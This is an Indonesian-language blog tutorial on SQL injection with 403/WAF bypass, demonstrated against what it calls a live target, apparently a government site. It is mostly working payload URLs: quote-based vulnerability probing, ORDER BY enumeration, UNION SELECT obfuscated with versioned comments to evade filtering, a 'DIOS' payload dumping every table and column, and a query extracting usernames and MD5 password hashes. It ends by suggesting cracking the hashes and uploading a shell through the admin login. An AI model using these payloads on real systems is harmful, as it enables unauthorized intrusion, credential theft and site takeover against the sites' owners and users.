-->

Cara SQL Injection bypass 403


Halo gan balik lagi sama admin Fooster, kali ini saya akan membagikan tutor SQL Injection bypass 403 forbidden

Jika kalian tidak mengerti pemahaman SQL Injection bisa baca dari Sini

403 forbidden biasanya terjadi karena keamanan website mendektesi ada serangan SQL Injection, jadi otomatis mereka memblokir serangan tersebut namun para hacker sudah menemukan solusi untuk keamanan yaitu dengan Bypass WAF.

Disini gw dah ada live target, jadi langsung aja (bagi yang belum mempunyai target bisa cari dengan dork, banyak di google).

Setelah itu beri tanda kutip (') pada akhir parameter

contoh : berita.php?id=1'

Jika website seperti digambar sebagian konten/teks hilang kemungkinan vuln ada juga yang menampilkan pesan error atau gambar yang diwebsite rusak.

Setelah itu kita langsung aja eksekusi

1. Order by +

Masukan  command order by pada akhir url hingga error

contoh : https://xxx.go.id/berita.php?id=1' order by 1 --+ atau jika masih eror hilangkan tanda kutip (')



Lalu ubah angka 1 menjadi angka seterusnya hingga error

contoh :

https://xxx.go.id/berita.php?id=1' order by 1 --+ > normal

https://xxx.go.id/berita.php?id=1' order by 2 --+ > normal

https://xxx.go.id/berita.php?id=1' order by 3 --+ > normal

https://xxx.go.id/berita.php?id=1' order by 4 --+ > normal

https://xxx.go.id/berita.php?id=1' order by 5 --+ > normal

https://xxx.go.id/berita.php?id=1' order by 6 --+ > normal

https://xxx.go.id/berita.php?id=1' order by 7 --+ > error  

2. union select

Jika sudah menemukan angka yang error, selanjutnya masukan command union select.

contoh : https://xxx.go.id/berita.php?id=-1' union select 1,2,3,4,5,6 --+ (sampai sebelum angka error), lupa tambahkan tanda (-) pada sebelum param.

disini saya terkena Forbidden artinya website mendektesi serangan SQL Injection yang saya lakukan.

Disini solusinya adalah mengganti command union select dengan yang sudah dibuat untuk Bypass forbidden beberapa command union select untuk bypass : 

/*!50000UnIoN*/ /*!50000SeLeCt*/

/**//*!12345UNION SELECT*//**/

/*!UNION*/+/*!SELECT*/

contoh : https://xxx.go.id/berita.php?id=1' /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,4,5,6 --+

Jika berhasil akan tampil nomor ajaib

3. Dios

Disini kita akan mendump table dari database.

Jika menggunakan DIOS biasa mungkin akan terkena Forbidden lagi disini saya akan memakai Dios yang ada di internet : 

concat(0x466F6F737465722F6E666578,version(),0x3c62723e,user(),0x3c62723e,database(),0x3c62723e,@c:=0x00,if((select count(*) from information_schema.columns where table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and @c:=concat(@c,0x3c62723e,table_name,0x2e,column_name)),0x00,0x00),@c)

jika sudah letakkan Dios pada angka yang muncul di website

contoh : https://xxx.go.id/berita.php?id=1' /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,concat(0x466F6F737465722F6E666578,version(),0x3c62723e,user(),0x3c62723e,database(),0x3c62723e,@c:=0x00,if((select count(*) from information_schema.columns where table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and @c:=concat(@c,0x3c62723e,table_name,0x2e,column_name)),0x00,0x00),@c)3,4,5,6 --+

 Jika berhasil maka column dan table dari database akan muncul.

4. Dump username and password

Disini saya akan mendump username dan password yang berasal dari column tb_user


Disini kalian bisa dump dengan code dios berikut :

group_concat(table_name,0x3a,table_name) 1,2,3,4,5,6 +from+column_name--+

contoh :  https://xxx.go.id/berita.php?id=1' /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,group_concat(username,0x3a,password),3,4,5,6+from+tb_user--+

And Boom kita berhasil mendump username dan password

Disini tipe hashnya adalah md5 kalian bisa decrypt disini

Jika sudah kalian bisa mencari admin login terus mengupload shell disini saya tidak menemukan admin loginnya hehe.

Ok mungkin itu aja yang bisa gw sampaikan, jika ada kesalahan mohon perbaikannya

Keep calm and Exploit!

See Also :